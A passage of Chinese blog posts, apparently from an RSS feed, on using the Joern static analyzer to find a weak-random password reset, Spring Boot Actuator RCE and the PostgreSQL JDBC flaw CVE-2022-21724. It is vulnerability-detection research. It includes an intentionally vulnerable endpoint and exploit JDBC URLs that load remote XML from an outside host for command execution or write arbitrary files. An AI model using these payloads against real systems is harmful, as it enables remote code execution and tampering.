class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>在获取随机数之前，没有重置过随机数种子</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>在获取随机数之前，共执行了多少次随机操作</strong></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;">先找到对应<strong>调用random.choice方法的方法</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.35961342828077314" width="1787.272688534635" data-type="png" data-w="1966" src="https://wechat2rss.xlab.app/img-proxy/?k=151fc994&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWicAImlhxnTmBgdpUPiaqYcYUOCyCrq13Syj0TMKb3oe9NZZQ7mAMUJTw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">而<strong>调用过seed方法重置随机数种子的位置</strong>只有一个，看了一下没有相关的引用关系，看上去像是一段测试代码</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3856638061585058" width="1800.9090518754385" data-type="png" data-w="1981" src="https://wechat2rss.xlab.app/img-proxy/?k=c7e94f29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWOIXKpY6dtrnaH0YPIUmEefb9Ng6VE2CpAtticRdncvAIZGhwBzP6M1g%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">由于场景特殊，这里我们用不到那么深入的数据流分析，只需要在<strong>对应重置密码的路由中确认是否调用random.choice方法</strong>就行了</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.11389128559102675" width="1053.636340799411" data-type="png" data-w="1159" src="https://wechat2rss.xlab.app/img-proxy/?k=788637cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWWffic449qgDFho6GRYqrqoWZcK8wib1LXMYKyzqAQiaBoKGz7F1952Vmg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这里直接用repeat untils来实现就可以</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2807495741056218" width="2668.181760350536" data-type="png" data-w="2935" src="https://wechat2rss.xlab.app/img-proxy/?k=9a550655&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWASX4D5azJnbIwf0cwdG8YVGB7bUAkQENnbkoiaWaXyM8V1lHmROYquQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>repeat...untils...还是那个老问题，容易递归爆炸，路径重复问题严重</strong>，我觉得这是joern实现里一个非常普遍的问题，但<strong>至少可以确定两个调用位置的连通性</strong>。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">接下来我们的问题变成了，我们<strong>如何知道在这条数据流中random调用了多少次</strong>。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.7488087134104833" width="1335.4545165093484" data-type="png" data-w="1469" src="https://wechat2rss.xlab.app/img-proxy/?k=b3708d40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlW9cwYdWv5dIOTs4tEaG1MZ5r09L452FP8IpF4ZFtKCgjhbfHJVZTItg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">我尝试了几次之后发现，<strong>如果想要在语句上控制限制范围，以确认random的调用次数，会遇到比较多的问题</strong>，<strong>正向分析的深入深度</strong>问题，以及<strong>循环分支的次数数据</strong>问题，问题比想象中的大，我暂且认为这不是joern的适用场景。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">而相应的修复就更简单了，<strong>直接换用secrets替代random会直接影响到前面的方法发现</strong>，我们就无法获得对应的数据流了。</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/10/26/joerninrw2/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c4a39de9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484177%26idx%3D1%26sn%3D1dbebf382d730e52a797eebdbfc7e967%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 26 Oct 2023 15:50:00 +0800</pubDate>
    </item>
    <item>
      <title>Joern In RealWorld (1) - Acutators + CVE-2022-21724</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484153&amp;idx=1&amp;sn=baa37dbc98c5671d19a1fdf7e435bc6b</link>
      <description>这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。这里我选用Java-se</description>
      <content:encoded><![CDATA[<p>
原创 <span>LoRexxar</span> <span>2023-08-31 17:32</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。这里我选用Java-se</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5986adb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroG5uZJKLzTyHeXic9b7U8XHibqk5RuibJ1MeHULRKTYF5mADz5aS2ZJpE2g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="letter-spacing: 0.034em;font-size: 15px;">这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。</span><span style="font-size: 15px;letter-spacing: 0.034em;">这里我选用</span><strong style="font-size: 15px;letter-spacing: 0.034em;">Java-sec-code的范例代码</strong><span style="font-size: 15px;letter-spacing: 0.034em;">做第一部分，这篇文章记录了两个比较经典的漏洞</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>Springboot Acutators导致命令执行</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>postgreSQL jdbc反序列化漏洞(CVE-2022-21724)</strong></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;">Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包</span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 14px;">importCode(&#34;../../java-sec-code/target/java-sec-code-1.0.0.jar&#34;)</span></code></pre><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">Springboot Acutators配置问题</h1><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="color: rgb(64, 64, 64);font-size: 15px;"><a href="https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE#reference" target="_blank">https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE#reference</a></span></p></li><li style="font-size: 15px;"><p><span style="color: rgb(64, 64, 64);font-size: 15px;"><a href="https://github.com/LandGrey/SpringBootVulExploit#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F" target="_blank">https://github.com/LandGrey/SpringBootVulExploit#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F</a></span></p></li><li style="font-size: 15px;"><p><span style="color: rgb(64, 64, 64);font-size: 15px;"><a href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators" target="_blank">https://www.veracode.com/blog/research/exploiting-spring-boot-actuators</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;"><strong><span style="color: rgb(64, 64, 64);">SpringBoot Actuator是SpringBoot内置的一个监控管理插件。</span></strong><span style="color: rgb(64, 64, 64);">只要引用组件就会开启对应的功能</span></span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">&lt;dependency&gt;<br/>    &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;<br/>    &lt;artifactId&gt;spring-boot-starter-web&lt;/artifactId&gt;<br/>&lt;/dependency&gt;<br/>&lt;dependency&gt;<br/>    &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;<br/>    &lt;artifactId&gt;spring-boot-starter-actuator&lt;/artifactId&gt;<br/>&lt;/dependency&gt;</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">开启后<strong>SpringBoot 1.x起始路径为</strong></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;"><strong>/</strong></span></code><span style="font-size: 15px;"><strong>，2.x的起始路径为</strong></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;"><strong>/actuator</strong></span></code></p><p style="min-height: 24px;"><span style="font-size: 15px;">暴露路由本身不能算太大的安全问题，只能说<strong>配置不当可能导致信息泄露</strong>，可以参</span><span style="font-size: 15px;">spring-boot.txt</span><span style="font-size: 15px;">。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">Actuator的接口配合一些组件就可能导致RCE，但防御的方法大多都是<strong>对Actuator做鉴权限制</strong>。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>Actuators + jolokia</strong></span></p></li></ul><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">        &lt;!-- SpringBoot Actuator命令执行的库 --&gt;<br/>        &lt;dependency&gt;<br/>            &lt;groupId&gt;org.jolokia&lt;/groupId&gt;<br/>            &lt;artifactId&gt;jolokia-core&lt;/artifactId&gt;<br/>            &lt;version&gt;1.6.0&lt;/version&gt;<br/>        &lt;/dependency&gt;</span></code></pre><p style="min-height: 24px;"><span style="color: rgb(31, 35, 40);font-size: 15px;">配合jolokia的接口可以实现jndi注入导致RCE</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong><span style="color: rgb(31, 35, 40);">Actuators + Spring Cloud</span></strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a href="https://www.freebuf.com/column/234719.html" target="_blank">https://www.freebuf.com/column/234719.html</a></span></p></li></ul><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">        &lt;dependency&gt;<br/>            &lt;groupId&gt;org.springframework.cloud&lt;/groupId&gt;<br/>            &lt;artifactId&gt;spring-cloud-starter-netflix-eureka-client&lt;/artifactId&gt;<br/>            &lt;version&gt;1.4.0.RELEASE&lt;/version&gt;<br/>        &lt;/dependency&gt;</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">首先组件上引用eureka才行，并且<strong><span style="color: rgb(51, 51, 51);">Eureka-Client &lt;1.8.7</span></strong><span style="color: rgb(51, 51, 51);">（多见于Spring Cloud Netflix）</span></span></p><p style="min-height: 24px;"><span style="color: rgb(51, 51, 51);font-size: 15px;">其次需要Application要有</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="color: rgb(31, 35, 40);font-size: 15px;">@EnableEurekaClient</span></code><span style="color: rgb(31, 35, 40);font-size: 15px;">注解</span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">import org.springframework.boot.SpringApplication;<br/>import org.springframework.boot.autoconfigure.SpringBootApplication;<br/>import org.springframework.cloud.netflix.eureka.EnableEurekaClient;<br/>@SpringBootApplication<br/>@EnableEurekaClient<br/>public class Application {<br/>    public static void main(String[] args) {<br/>        SpringApplication.run(Application.class, args);<br/>    }<br/>}</span></code></pre><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">for Joern</h2><p style="min-height: 24px;"><span style="font-size: 15px;">我首先遇到的问题就是，这个漏洞其实<strong>配置问题大于其他问题</strong>，我研究了很久认为这个问题在Joern中是不可解的。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">一方面Acutators开启只需要组件引用即可，另一方面比较常见的修复手段是增加鉴权，<strong>加入鉴权组件并开启配置</strong></span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;"># pom.xml<br/>&lt;dependency&gt;<br/>	&lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;<br/>    &lt;artifactId&gt;spring-boot-starter-security&lt;/artifactId&gt;<br/>&lt;/dependency&gt;<br/># for application.properties<br/>management.security.enabled=true<br/>security.user.name=admin<br/>security.user.password=admin</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">哪怕不是用这个鉴权组件但也大同小异，关闭敏感端点之类的。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">而问题回到Joern上，Joern虽然定义了ConfigFile节点，但<strong>并没有读取所有的配置文件</strong>，包括pom.xml。或者说pom.xml在Joern眼中不算是个配置文件。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.16082474226804125" width="881.8181627052878" data-type="png" data-w="1940" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=40c8526c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGnP0tAMWyppll4bEEO3CsrVS6hEpW6gIYkYXdHPfPmBTiaqm7bTQaPrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">即便是读取了<strong>application.properties</strong>这个文件，但ConfigFile节点只有文件内容，并没有<strong>对所有的配置做分析转化</strong>。而且有时候configFile就是完全空的，也不知道问题在哪。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.21288259479214253" width="994.9999784339562" data-type="png" data-w="2189" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d1915305&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGRNc6UZP0l4Ww7ibDiaZxNOFcHFJVzBicg3NtALaGwI21txcjYQbc06Upg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这个处理方式虽然很奇怪但也算能理解，<strong>Joern作为一个静态分析代码的框架</strong>，他的理念就是把上层和下层做拆分，<strong>下层只需要把代码转成CPG，上层只需要在CPG上做数据分析。</strong></span></p><p style="min-height: 24px;"><span style="font-size: 15px;">对于Joern来说，上层和下层没有直通渠道，非代码层面的信息则会被忽略掉，而专注于代码层面，这是Joern的设计理念，但同样是Joern的局限性。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;">一方面由于<strong>没有pom.xml的数据</strong>，所以无法判断Acutators是否开启，且无法判断版本。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">从SpringBoot 2.X开始，端点默认只暴露health和info，需要<strong>从配置文件里获取开启的端点</strong>，不一定能读到这个配置文件内容</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">Acutators这个问题核心其实是不能<strong>未授权+向公网暴露</strong>，而这个鉴权配置也是从配置文件里读到的</span></p></li></ul><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">cpg.configFile.name(&#34;.*application.properties&#34;).where(_.content(&#34;.*management.security.enabled=false.*&#34;)).l</span></code></pre><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>Acutators暴露的实际影响其实和依赖的组件</strong>有关系，比如配合eureka才有xtream反序列漏洞，而没有依赖组件数据，所以也无从判断。</span></p></li></ul><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">postgreSQL jdbc<span style="color: rgb(51, 51, 51);">反序列化漏洞(CVE-2022-21724)</span></h1><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a href="https://xz.aliyun.com/t/11812" target="_blank">https://xz.aliyun.com/t/11812</a></span></p></li></ul><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">9.4.1208 &lt;= org.postgresql.postgresql &lt; 42.2.25<br/>42.3.0 &lt;= org.postgresql.postgresql &lt; 42.3.2</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">当<strong>PostgreSQL的jdbc url属性</strong>可控时，可以通过</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">authenticationPluginClassName</span></code><span style="font-size: 15px;">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">sslhostnameverifier</span></code><span style="font-size: 15px;">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">socketFactory </span></code><span style="font-size: 15px;">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">sslfactory</span></code><span style="font-size: 15px;">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">sslpasswordcallback</span></code><span style="font-size: 15px;"> 连接属性提供<strong>类名实例化插件实例</strong>。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;">漏洞代码</span></p></li></ul><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">  @RequestMapping(&#34;/postgresql&#34;)<br/>  public void postgresql(String jdbcUrlBase64) throws Exception{<br/>      byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);<br/>      String jdbcUrl = new String(b);<br/>      log.info(jdbcUrl);<br/>      DriverManager.getConnection(jdbcUrl);<br/>  }</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">其实漏洞点的Joern的公式特别简单，说白了就是<strong>只要jdbc的连接链接可控</strong>就行了。</span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">def source = cpg.method.where(_.annotation.name(&#34;.*Mapping&#34;)).parameter<br/>def sink = cpg.call.name(&#34;getConnection&#34;)</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">直接寻找source和sink之间的数据流</span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">sink.reachableByFlows(source).p</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6071622354856213" width="837.7272545700234" data-type="png" data-w="1843" src="https://wechat2rss.xlab.app/img-proxy/?k=4c0441fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroG8QSpd8KybJfTr0UMK5FwSZ0xlCTLaIDcwqchhmCE70zFC4nfu5Mg6A%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">可以发现我们找到了包括目标在内的5条数据流，这里的第一个问题是，我们没法确定<strong>jdbc是否支持postgreSQL</strong>来作为数据库。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">在确定了<strong>入口可控</strong>之后，<strong>理论上配合组件版本</strong>其实我们就可以判断代码中是否存在该问题了，但我们并没有这个数据。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">for PostgreSQL code</h2><p style="min-height: 24px;"><span style="font-size: 15px;">当然在静态分析的层面，我们需要从代码的角度验证漏洞存在，我们遇到的第二个问题自然是<strong>利用链的问题</strong>，所以我们需要直接去<strong>分析postgresql的组件代码</strong>。</span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">importCode(&#34;D:/program/java_pro/postgresql-42.3.1.jar&#34;, &#34;postgresql&#34;)</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">当我们可控jdbc的连接的时候，我们就可以通过<strong>构造类似的请求来调用不同类的方法</strong>来实现我们想要的结果。</span></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;"># 命令执行<br/>jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&amp;socketFactoryArg=<a href="http://test.joychou.org/1.xml" target="_blank">http://test.joychou.org/1.xml</a><br/># 配合FileOutputStream操作文件<br/>jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&amp;socketFactoryArg=test.txt<br/># sslfactory&amp;sslfactroyarg，任意代码执行<br/>jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&amp;sslfactoryarg=<a href="http://test.joychou.org/1.xml" target="_blank">http://test.joychou.org/1.xml</a><br/># loggerLevel&amp;loggerFile，任意文件写<br/>jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&amp;loggerFile=test.txt&amp;test</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">这里具体的利用链我们就不重复讲了，可以直接参考上面的链接，重要的是<strong>我们怎么在joern中复现这个问题。</strong></span></p><p style="min-height: 24px;"><span style="font-size: 15px;">我们拿<strong>第一个漏洞socketFactory&amp;socketFactoryArg的利用链</strong>作为目标来看看</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5883161512027492" width="661.3636220289659" data-type="png" data-w="1455" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8e5b3f26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGicq6PaNL3wxEzcibnicKSqCnVQ367JqiaQIsz6JcpDjzom2hDzNmKouibWA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">从getConnection方法处，j<strong>dbc会根据不同的请求分发至不同的组件</strong>。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2588357588357588" width="550.272705078125" data-type="png" data-w="962" src="https://wechat2rss.xlab.app/img-proxy/?k=80abf131&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGI7r7UCQ5ZJe9ibI7Z72G1NIhkX7sNbqjC6244rjpslVVZNqTMVHCKSA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>从connect方法一路跟进org.postgresql的代码</strong>当中，<strong>链接之后的参数会被拆解为字典</strong>然后分别进入不同的配置中，也就是说等于到url这里我们就是可控的，也就是作为source，<strong>进到包里的这个入口是connect方法</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.572992700729927" width="554.6363525390625" data-type="png" data-w="822" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c744df49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroG0iaJAdAnXkoRqQkxZ1GI1wkbw2mUAvcLbyjlxeHibWzw4w8k2GO92a1g%2F640%3Fwx_fmt%3Dpng"/></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">def source = cpg.method.name(&#34;connect&#34;)</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.10537519957424162" width="854.0908905789876" data-type="png" data-w="1879" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=62ca85fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGia1lrLpQFgEyPmSia2fIE5xWaFRbJ1u6xlyoTurVxESnB4Rib8Cnu73wQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;">最终<strong>导致漏洞的核心点则是可控的newInstance</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2210386151797603" width="614.3636169433594" data-type="png" data-w="751" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2e5a0012&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGFnDDA1l7WUJbEmbycrdHTFkkjyaGcMGiaD7GUia91P4EicQCfeic9aGLag%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">所以我们假定<strong>调用方法newInstance是sink点</strong>，<strong>可以用caller获取调用该方法的地方</strong>，也是可以读到我们目标类方法的。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4588449295134152" width="999.5454328808908" data-type="png" data-w="2199" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d0b3e61b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UT5UUABbbmYx1opdQRaibroGP9c1rickQtjbdljLnrxspbJaFDRCHU4SzjwfI1G508qAb0fQccYTANA%2F640%3Fwx_fmt%3Dpng"/></p><pre data-language="cypher" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">def sink = cpg.method.name(&#34;newInstance&#34;)</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">到这里我们会遇到一个比较大的问题，当我们<strong>试图用简单的reachableByFlows时</strong>，会无法获取到结果。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.07239512855209743" width="671.8181672569152" data-type="png" data-w="1478" style="font-size: 